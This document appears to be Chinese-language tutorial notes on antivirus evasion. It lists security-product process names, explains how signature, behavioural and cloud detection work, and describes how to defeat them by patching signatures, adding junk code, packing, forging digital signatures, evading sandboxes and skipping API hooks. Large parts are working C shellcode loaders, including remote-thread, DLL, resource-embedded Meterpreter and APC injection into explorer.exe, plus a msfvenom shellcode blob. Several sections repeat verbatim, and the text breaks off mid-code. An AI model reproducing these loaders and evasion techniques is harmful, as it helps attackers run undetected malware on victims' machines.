免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,
英文为Anti-AntiVirus(简写Virus AV),
逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
反病毒安全软件 anti-virus security software
反病毒(AntiVirus)
反间谍(AntiSpyware)
英文为Anti-AntiVirus(简写Virus AV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。
也就是我们常说的bypass AV
是一小段代码,用于利用软件漏洞作为有效载荷。
它通常启动一个命令shell,攻击者可以从这个shell控制受损的计算机,
执行类似任务的任何代码都可以被称为shellcode。
因为有效载荷(payload)的功能不仅限于生成shell
简单来说:shellcode就是汇编,16进制
例如,CS可以直接生成各种格式的shellcode
测试样例
// msfvenom -p windows/exec CMD=calc.exe -f c
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
tasklist /SVG
360tray.exe、360safe.exe、360ZhuDongFangYu.exe、360sd.exe
360安全卫士
360杀毒
利用Intel / AMD CPU硬件虚拟化技术(Vanderpool Technology,简称VT技术)做的客户端防护引擎.
目前仅用于主防功能. 后续还可用于其他客户端安全功能.
核晶引擎目前用于增强\Win7 / 8 / 8.1\ 64位系统上的主动防御功能.
hipstray.exe、wsctrl.exe、usysdiag.exe
SafeDogGuarsdCenter.exe、safedogupdatecenter.exe、safedogguardcenter.exe
rstray.exe、ravmond.exe、rsmain.exe
AVP.EXE
针对于内存的查杀
企业版
egui.exe、eguiProxy.exe、ekrn.exe
无中文名只有民间译名“易视诺德”
它是迄今作为先进杀毒技术———启发式杀毒(Heuristic),最具准确高效的杀毒软件,国外很权威的防病毒软件评测给了NOD32很高的分数,在全球共获得超过40多个奖项
启发式查杀很厉害,需要给木马加入正常程序的图标、版本信息、清单、数字签名。必须使用Bof操作,
avfwsvc.exe、avgnt.exe、avguard.exe、avmailc.exe、avshadow.exe
对压缩文件进行分析检查
保护程序避免被恶意程序修改窜改
对恶意程序所破坏的文件还原
扫描常用磁盘,系统关键位置
扫描电脑全盘文件
保护电脑不受勒索软件的攻击
电脑开机时自动扫描
扫描信息与一直更新的病毒数据库进行对比,
信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染。
挑选文件内部的一段或者几段代码来作为他识别病毒的方式,这种代码就叫做病毒的特征码;
在病毒样本中,抽取特征代码;抽取的代码比较特殊,不大可能与普通正常程序代码吻合;抽取的代码要有适当长度,一方面维持特征代码的唯一性,另一方面保证病毒扫描时候不要有太大的空间与时间的开销。
文件特征码:对付病毒在文件中的存在方式:单一文件特征码、复合文件特征码(通过多处特征进行判断);
内存特征码:对付病毒在内存中的存在方式:单一内存特征码、复合内存特征码优点:速度快,配备高性能的扫描引擎;准确率相对比较高,误杀操作相对较少;很少需要用户参与。
对文件进行扫描后,可以将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存;在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染病毒。
## 免杀工具
常用的修改工具有,OD,C32ASM,UE,010Editor等等
### 手工修改
#### 非源码
1. 数据
如果特征码定位到`数据`(通过IDA/OD等确认),
其实不好修改,稍微不慎就会导致程序不能运行,
或者影响程序运行流程或结果。
`字符串`,如果不影响程序逻辑,可以替换大小写;
如果无关紧要的数据,随意替换;等等,看情况而定。
`整数`,如果不影响结果,替换值,清零等等操作。
`地址`,基本应该不能修改,具体看情况。
`PE头数据`,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。
最后,终极修改方法,找到访问数据的代码,
直接修改代码访问数据的地址,数据也可以放到其他地址了,
其实就如`同修改源码`一样修改,肯定没有修改源码那么容易(见后)。
反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。
2. 代码
如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。
`等价替换`汇编代码,
如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。
`交换代码顺序`,在不影响逻辑的情况下。
`代码块移位`,将代码块移动不用的内存位置,
通过加入jmp addr跳过去执行,addr是新的代码块地址。
#### 源码
在有源码的情况下,修改的方式就更灵活了,更简单了。
如果特征码是数据,那么`修改数据位置`,`访问数据的代码位置`等(思想类比非源码方式)。
加`花指令`,这是最有效也是最常用的方式,要点在于如何加hua指令。
加`数据计算代码`,加减乘除各类组合。
加`字符串操作代码`,增加、删除、查找、替换等。
加`多层跳转`,跳转间加`无效指令`(不会执行的)。
加貌似`有效的API调用`,如LoadLibrary+GetProcAddr+API等。
# 盲杀
## 工具免杀(盲免杀)
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。
### 资源操作
1. 加资源
使用ResHacker对文件进行资源操作,
找来多个正常软件,将它们的资源加入到自己软件,
如图片,版本信息,对话框等。
2. 替换资源
使用ResHacker替换无用的资源(Version等)。
3. 加签名
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
几种方式可以交替重复多次进行组合使用。
### PE操作
1. PE优化
使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。
2. 增加节
增加节数据,随意加入无效数据。
### 加壳
可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。
通过加密器/压缩器将原始代码进行加密压缩,
让其特征码变化隐藏,
然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,
将加密压缩内容解密解压,然后继续运行原始代码。
1. 加冷门壳
壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。
所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。
2. 加壳改壳
将常用壳进行修改,让壳特征变化,也可以让杀软失效。
比如修改入口,区段信息修改,入口代码移位。
可以类比为免杀壳。
# 注意/技巧
非源码修改时,通过OD能够更好的完成,配合IDA进行观察。
源码免杀加花,要灵活多变,不拘于形式。
行为免杀多尝试,猜出杀软拦截策略,能够更有效的找到绕过方式。
我们不做坏事,但是可以了解做坏事的手段,更好的破坏防御这些手段。
内存监控:当发现内存中存在病毒的时候,就会主动报警;监控所有进程;监控读取到内存中的文件;监控读取到内存的网络数据。
文件监控:当发现写到磁盘上的文件中存在病毒,或者是被病毒感染,就会主动报警
邮件监控:当发现电子邮件的附件存在病毒时进行拦截。office钓鱼 宏病毒 这种
网页防护:阻止网络攻击和不安全下载。mshta js脚本
行为防护:提醒用户可疑的应用程序行为。低危 和中
行为检测通过hook关键api,以及对各个高危的文件、组件做监控防止恶意程序对系统修改。
只要恶意程序对注册表、启动项、系统文件等做操作就会触发告警。
最后,行为检测也被应用到了沙箱做为动态检测,对于避免沙箱检测的办法有如下几个:
延时执行,部分沙箱存在运行时间限制
沙箱检测,对诸如硬盘容量、内存、虚拟机特征做检测
部分沙箱会对文件重命名,可以检测自身文件名是否被更改
病毒库由客户端移至服务端
客户端提取特征上传,在云端检测到对应特征所标明的是否病毒状态,并返回
客户端上传特征,在云端无法检测到,则上传文件,文件通过杀软系统进行评判,得出总评分,对于无结果的,进行鉴定系统评分,总共得出结果返回给用户,并入云端库
云查杀的特点基本也可以概括为特征查杀。
杀毒软件现在都会有主防的功能,对恶意行为进行拦截提示。
主动防御并不需要病毒特征码支持,只要杀毒软件能分析并扫描到目标程序的行为,并根据预先设定的规则,判定是否应该进行清除操作
比如这些行为:
注册表操作,添加启动项,添加服务
文件写入、读系统文件、删除文件,移动文件
杀进程,创建进程
注入、劫持等
参考360的主动防御
行为拦截原理
恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。
杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。
关键点:
API
策略(顺序,调用源,参数等等)
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char shellcode[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
申请一段动态内存,然后把shellcode放进去,随后强转为一个函数类型指针,最后调用这个函数
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
char shellcode[] = "你的shellcode";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
}
使用指针来执行函数
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] =
"你的shellcode";
#pragma comment(linker, "/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
int main()
{
((void(*)(void)) & buf)();
}
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char buff[] = "你的shellcode";
void main()
{
((void(WINAPI*)(void)) & buff)();
}
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//windows控制台程序不出黑窗口
unsigned char xff[] = "你的shellcode";
void main()
{
__asm
{
mov eax, offset xff;
_emit 0xFF;
_emit 0xE0;
}
}
#include <Windows.h>
// 需要的头文件
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
// calc的shellcode
unsigned char buf[] = "xfcx48x83xe4";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
// 申请一块具有可读写执行权限的内存空间
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size);
// 创建一个在调用进程的虚拟地址空间内执行的线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}
#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("你的DLL地址");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
使用远程线程注入,我们需要使用4个主要函数:OpenProcess, VirtualAllocEx, WriteProcessMemory,CreateRemoteThread,在MSDN中我们可以函数的具体用法
那么我们的整体思路就是
打开远程进程的句柄(Pid)
使用VirtualAllocEx在远程进程中分配具有读、写和执行必要权限的内存空间
然后使用WriteProcessMemory将shellcode写入到内存缓冲区中
最后通过调用CreateRemoteThread来创建线程,其中将指向程序集存根的指针作为要执行的函数,将指向远程shellcode的指针作为自变量
#include "Windows.h"
#include <stdio.h>
int main(int argc, char* argv[])
{
unsigned char shellcode[] ="你的shellcode";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
直接添加资源文件,并对资源文件进行一个命名,我们需要记住这个资源的名字,然后使用FindResource来调用他
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include "resource.h"
int main()
{
// IDR_METERPRETER_BIN1 - 资源ID 包含shellcode
// METERPRETER_BIN 是我们嵌入资源时选择的资源类型名称
HRSRC shellcodeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_METERPRETER_BIN1), L"METERPRETER_BIN");
DWORD shellcodeSize = SizeofResource(NULL, shellcodeResource);
HGLOBAL shellcodeResouceData = LoadResource(NULL, shellcodeResource);
void *exec = VirtualAlloc(0, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcodeResouceData, shellcodeSize);
((void(*)())exec)();
return 0;
}
是一个链状的数据结构
可以让一个线程在其本应该的执行步骤前执行其他代码,
每个线程都维护这一个APC链。
当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。
然后促使线程从休眠中恢复就可以实现APC注入。
APC注入的一些前置如下:
- 线程在进程内执行
- 线程会调用在APC队列中的函数
- 应用可以给特定线程的APC队列压入函数(有权限控制)
- 压入队列后,线程将按照顺序优先级执行(FIFO)
- 这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数
APC注入可以让一个线程在它正常的执行路径运行之前执行一些其它的代码,每一个线程都有一个附加的APC队列,它们在线程处于可警告的时候才被处理(WaitForSingObjectEx,SleepEx)。
如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。
APC有两中存在形式:
为系统和驱动生成的APC(内核APC)
为应用程序生成的APC(用户APC)
用户模式
线程可利用QueueUserAPC排入一个让远程线程调用的函数,QueueUserAPC函数原型(MSDN):
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, //指向一个用户提供的APC函数的指针(当指定线程执行可告警的等待时,将调用指向应用程序提供的APC函数的指针)
HANDLE hThread, //线程的句柄。句柄必须有THREAD_SET_CONTEXT访问权限
ULONG_PTR dwData //指定一个被传到pfnAPC参数指向的APC函数的值
一旦获取了线程ID,就可以利用其打开句柄,通过参数LoadLibraryA以及对应的参数dwData(dll名称),LoadLibraryA就会被远程线程调用,从而加载对应的恶意DLL。
内核模式
一种方法是在内核空间执行APC注入。恶意的驱动可创建一个APC,然后分配用户模式进程中的一个线程(最常见的是svchost.exe)运行它。这种类型的APC通常由shellcode组成。
设备驱动利用两个主要的函数来使用APC:KeInitalizeApc和KeInsertQueueApc。
需要两个函数来搭配使用,构造APC函数。
KeInitalizeApc(初始化APC结构)
KelnsertQueueAPC(将APC对象放入目标线程的APC队列中)
KeInitalizeApc函数原型:
KeInitializeApc(Apc,
&Thread->Tcb, //KTHREAD
OriginalApcEnvironment,//这个参数包含要被注入的线程
PspQueueApcSpecialApc,
NULL,
ApcRoutine,
UserMode, //**
NormalContext); //**
下面,我们利用APC注入来执行shellcode,那么我们的总体思路就是
查找explorer.exe进程ID
在explorer.exe进程的内存空间中分配内存
将shellcode下入该内存位置
在explorer.exe中找到所有线程
将APC排队到所有这些线程中,APC指向shellcode
当explorer.exe中的线程被调用时,我们的shellcode将被执行
找到要注入的进程并调用:explorer.exe,Process32First,Process32Next
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
找到explorer的PID后,我们需要获取explorer.exe进程的句柄并且为shellcode分配一些内存,该shellcode会被写入资源管理器的进程内存空间,此外,声明一个APC例程,该例程现在执行该shellcode
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
接着,我们开始枚举 explorer.exe的所有线程,并将APC指向shellcode
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
上面我们说到了只有线程处于可警告的时候才被处理,为了使APC代码注入能够正常工作,排队APC的线程需要处于某种状态。
DWORD SleepEx(
DWORD dwMilliseconds,
BOOL bAlertable
);
处于可警告状态代码立即被执行,处于不可警告状态,shellcode没有得到执行。
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "你的shellcode";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
二进制的免杀(无源码),
只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
有源码的免杀,
可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。
——————————————————————————————
静态文件免杀,被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库了。
动态行为免杀,运行中执行的某些行为被杀毒软件拦截 。行为免杀如果没有源码就不是很好搞了。
针对的是杀毒软件的静态文件扫描,云查(病毒库)杀。
提取文件一段特征码来识别病毒文件。
能识别一个程序是一个病毒的一段不大于64字节的特征串
杀毒软件是怎么提取文件特征码的?
通过md5肯定可以判断一个就是这个病毒文件,那如果该病毒文件做了小小变动呢,直接md5肯定是不行了,
那杀毒软件是怎么做的呢?这里有个叫做模糊哈希(Fuzzy Hashing)算法的东西。
模糊哈希算法
又叫基于内容分割的分片分片哈希算法
(context triggered piecewise hashing, CTPH),
主要用于文件的相似性比较。
不要把一个文件的所有内容都拿来计算hash,
而通过分片,取出部分重要(不易改变)的内容进行hash计算,
这样就能达到通过一个特征码找到类似的病毒变种。
总结出几点:
特征码会有多个串组合(减少误报)
代码数据(肯定有)
会解析PE,检查附加文件数据、PE文件的资源等等
工具查找
特征码定位工具有CCL、MYCCL。
工具大致原理就是分割文件,某些分割部分填入数据(0),如果扫描该部分不报警,则特征码在这个部分。
如此反复,直到找到很短的某一段内容。
不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。
采用文件分块定位的办法,定位效果带有运气成份,且可能每次定位出的位置都不尽相同,这个免杀带来了困难。
新的特征码定位软件VirTest。
我们可以这样假设报毒过程,
如果检测文件是PE,如果在CODE位置存在 标志A,
在DATA位置存在标志B,
在资源位置存在标志C,同时满足这个3个条件,那么杀软就会报毒,
VIRTEST工作原理就是要找到引起报毒最后一个标志,也就是假设中的标志C。
因此VIRTEST采用2分排除法,
测试标志C所在文件中的位置,由于被杀的文件可能存在多个 类似于ABC这样的连锁条件,所以我们必须要通过一种排除机制,
先要找最靠近文件前部的连锁条件,排除掉文件尾部数据,当找到第一个连锁条件后,抹掉引标志C,再恢复尾部数据。
然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件免杀了,
则说明特征代码被定为完毕了,
所以VIRTEST绝对可以精确的定位出所有的复合特征。这比文件分块定位法先进得多,更为科学。
工具查找肯定是针对二进制文件(有源码的也编译后在检查)
1mian中屏蔽所有代码,编译,扫描。不报的话继续2,如果依然报毒,去5。
2放开一层(可以多层、二分也可以)函数,编译,扫描。
不报的话,重复2。直到定位到某个函数或者多个函数,进入3。
3在函数内部屏蔽部分代码(二分),编译,扫描。不报,重复2。
4直到定位某段代码(无自定义内部调用),特征码在此。
5是不是有附加数据,或者资源存储的文件。有,单独检查该文件或者数据,方法从1开始。如果没有,那去找找PE头吧。
1. sub1 //未报
2. sub1 sub2 //未报
3. sub1 sub2 sub3 //报
4. sub1 sub2 sub3(sub31) //未报
5. sub1 sub2 sub3(sub31 sub32) //报
6. sub1 sub2 sub3(sub31 sub32(sub321)) //报
...
直到找到某API调用,或者逻辑代码(没有自定义函数调用)
虽然笨,但是定位特征码不会很慢,挺准确。
常用的修改工具有,OD,C32ASM,UE,010Editor等等
如果特征码定位到数据
(通过IDA/OD等确认),
其实不好修改,稍微不慎就会导致程序不能运行,
或者影响程序运行流程或结果。
字符串
,如果不影响程序逻辑,可以替换大小写;
如果无关紧要的数据,随意替换;等等,看情况而定。
整数
,如果不影响结果,替换值,清零等等操作。
地址
,基本应该不能修改,具体看情况。
PE头数据
,根据PE结构具体来看,无用数据清零或修改,有用数据看情况修改。
最后,终极修改方法,找到访问数据的代码,
直接修改代码访问数据的地址,数据也可以放到其他地址了,
其实就如同修改源码
一样修改,肯定没有修改源码那么容易(见后)。
反正特征码定位到数据位置不容易修改(可以再试试后面的盲免杀)。
如果特征码定位到代码(也通过IDA/OD等确认),在不改变程序功能基础上,应用各种方法修改。
等价替换
汇编代码,
如mov eax,0可以换成xor eax,eax,直接结果相同,二进制代码不同。
交换代码顺序
,在不影响逻辑的情况下。
代码块移位
,将代码块移动不用的内存位置,
通过加入jmp addr跳过去执行,addr是新的代码块地址。
在有源码的情况下,修改的方式就更灵活了,更简单了。
如果特征码是数据,那么修改数据位置
,访问数据的代码位置
等(思想类比非源码方式)。
加花指令
,这是最有效也是最常用的方式,要点在于如何加hua指令。
加数据计算代码
,加减乘除各类组合。
加字符串操作代码
,增加、删除、查找、替换等。
加多层跳转
,跳转间加无效指令
(不会执行的)。
加貌似有效的API调用
,如LoadLibrary+GetProcAddr+API等。
在没找到有效的特征码,或者不好修改的时候,可以试试这种方式。
使用ResHacker对文件进行资源操作,
找来多个正常软件,将它们的资源加入到自己软件,
如图片,版本信息,对话框等。
使用ResHacker替换无用的资源(Version等)。
使用签名伪造工具,将正常软件的签名信息加入到自己软件中。
几种方式可以交替重复多次进行组合使用。
使用PE优化工具对文件进行优化,删除0,PE头优化,附加数据等。
增加节数据,随意加入无效数据。
可以将加壳简单理解为:解密器/解压器+加密器/压缩器(原始代码)。
通过加密器/压缩器将原始代码进行加密压缩,
让其特征码变化隐藏,
然后组装上解密器/解压器到文件中,运行是先运行解密/解压器,
将加密压缩内容解密解压,然后继续运行原始代码。
壳也有特征,知名壳都已经被分析的非常多了,杀软基本都能查这类壳,或者自动脱壳,然后进行查杀。
所以加冷门壳,壳特征未被分析,不能自动脱壳,可以更好隐藏原始代码,得到免杀效果。
将常用壳进行修改,让壳特征变化,也可以让杀软失效。
比如修改入口,区段信息修改,入口代码移位。
可以类比为免杀壳。
非源码修改时,通过OD能够更好的完成,配合IDA进行观察。
源码免杀加花,要灵活多变,不拘于形式。
行为免杀多尝试,猜出杀软拦截策略,能够更有效的找到绕过方式。
我们不做坏事,但是可以了解做坏事的手段,更好的破坏防御这些手段。
下面介绍的方式对非源码、源码都有效,但是非源码修改起来非常非常麻烦…
使用相同功能的API进行替换,杀软不可能拦截了所有API,所以这种方式还是有效的。
比如MoveFileEx替换MoveFile。
寻找相同功能的未导出API进行替换,杀软拦截一般是导出API,或者底层调用,
寻找未导出API有一定效果。
寻找方法,通过分析目标API内部调用,找到内部一个或多个未导出API,来完成相同功能。
完全重写系统API功能(通过逆向),实现自己的对应功能API,
对于ring3
的行为拦截非常有效。比如实现MoveFile等。
ring3的API拦截通过是挂钩API头几个字节内容,
然后进入杀软自己函数进行参数检查之类的。
那么如果调用API时,跳过头部几字节,就可以避开这种拦截方式。
__API:
1 push ebp;
2 mov ebp, esp;
3 mov edi, edi;
4 ...
调用时,不适用1地址,而使用4地址,然后自己函数内部还原跳过几字节的调用。
__API_MY:
push ebp;
mov ebp, esp;
mov edi, edi;
call 4
该方法类似于2和3,杀软拦截API可能更加高层(语义更清楚),
那就可以找更底层API进行调用,绕过拦截,比如使用NT函数。
或者通过DeviceIoControl
调用驱动功能来完成API功能。
模拟系统调用。
有时拦截行为是通过多个API组合来完成的,
所以合理替换顺序,绕过杀软拦截策略,也可以绕过改行为拦截。
比如,先创建服务,再将服务对应文件拷贝过去。
通过调用其它进行功能来完成API的功能。比较经典的如,
通过rundll32.exe来完成dll加载
,通过COM
来操作文件等等。
一个加载器存在两个明显的特征,一个是shellcode和硬编码字符串。我们需要消除这些特征,比较方便使用一个简单的异或加密就能消除shellcode的特征。第二个是加载器的关联特征也需要消除,通过加入无意义的代码干扰反病毒引擎。
shellcode 字符串 加密处理 加密代码 解密代码 aes
花指令其实就是一段毫无意义的指令,也可以称之为垃圾指令。花指令是否存在对程序的执行结果没有影响,所以它存在的唯一目的就是阻止反汇编程序,或对反汇编设置障碍。
简单地说,软件加壳其实也可以称为软件加密(或软件压缩),只是加密(或压缩)的方式与目的不一样罢了。壳就是软件所增加的保护,并不会破坏里面的程序结构,当我们运行这个加壳的程序时,系统首先会运行程序里的壳,然后由壳将加密的程序逐步还原到内存中,最后运行程序。当我们运行这个加壳的程序时,系统首先会运行程序的“壳”,然后由壳将加密的程序逐步还原到内存中,最后运行程序。加壳虽然对于特征码绕过有非常好的效果,加密壳基本上可以把特征码全部掩盖,但是缺点也非常的明显,因为壳自己也有特征,主流的壳如VMP, Themida等等。
shellcode直接加载进内存,避免文件落地,可以绕过文件扫描。但是针对内存的扫描还需对shellcode特征做隐藏处理。对windows来说,新下载的文件和从外部来的文件,都会被windows打上标记,会被优先重点扫描。而无文件落地可以规避这一策略。同时申请内存的时候采用渐进式申请,申请一块可读写内存,再在运行改为可执行。最后,在执行时也要执行分离免杀的策略。
即ShellCode和加载器分离。各种语言实现的都很容易找到,虽然看起来比较简单,但效果却是不错的。比如可以远程读取png中的shellcode。
对抗静态检测
服务器 socket http 下载 记载内存 运行
- / “ ” 去掉 隐藏特征 ----> 16进制 数字
拦截 进程创建
比如数组长度是892,那么他就是由shellcode[0]到shellcode[891]构成,后面加上一个终止符,
此时strlen (shellcode) = 892,sizeof (shellcode) = 893,
所以计算长度的时候需要 a= (sizeof(shellcode) -1),因为每两个字节为一组,
所以我们在分配内存时,需要进行除二操作,比如bytes = (sizeof(shellcode) - 1)/2 或者 bytes = strlen(shellcode)/2
还原shellcode
for(unsigned int i = 0; i< iterations-1; i++) {
sscanf(shellcode+2*i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
加载方式
typedef void (*some_func)();
some_func func = (some_func)exec;
func();
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[]) {
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
